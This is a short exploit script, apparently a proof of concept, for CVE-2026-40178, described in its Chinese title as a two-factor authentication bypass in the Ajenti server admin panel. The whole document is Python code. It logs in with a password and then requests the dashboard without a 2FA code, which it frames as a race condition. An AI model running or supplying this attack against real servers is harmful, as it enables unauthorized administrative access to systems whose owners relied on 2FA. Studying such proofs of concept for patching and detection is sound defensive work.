CVE-2026-40178 Ajenti 2FA认证绕过漏洞

import requests # Target configuration target_url = "http://target-ajenti-server" username = "admin" password = "password" # Create a session session = requests.Session() # Step 1: Perform initial login (First Factor) login_payload = { "username": username, "password": password } # Send login request response = session.post(f"{target_url}/api/login", json=login_payload) # Step 2: Exploit Race Condition # The vulnerability allows accessing the session immediately after login response # before the 2FA check logic is finalized on the server side. if response.status_code == 200: print("[+] Login initiated. Attempting to bypass 2FA...") # Step 3: Access protected endpoint using the established session # without providing the 2FA code admin_panel = session.get(f"{target_url}/view/dashboard") if admin_panel.status_code == 200 and "dashboard" in admin_panel.text: print("[!] 2FA Bypass successful! Access granted to dashboard.") else: print("[-] Bypass failed.") else: print("[-] Initial login failed.")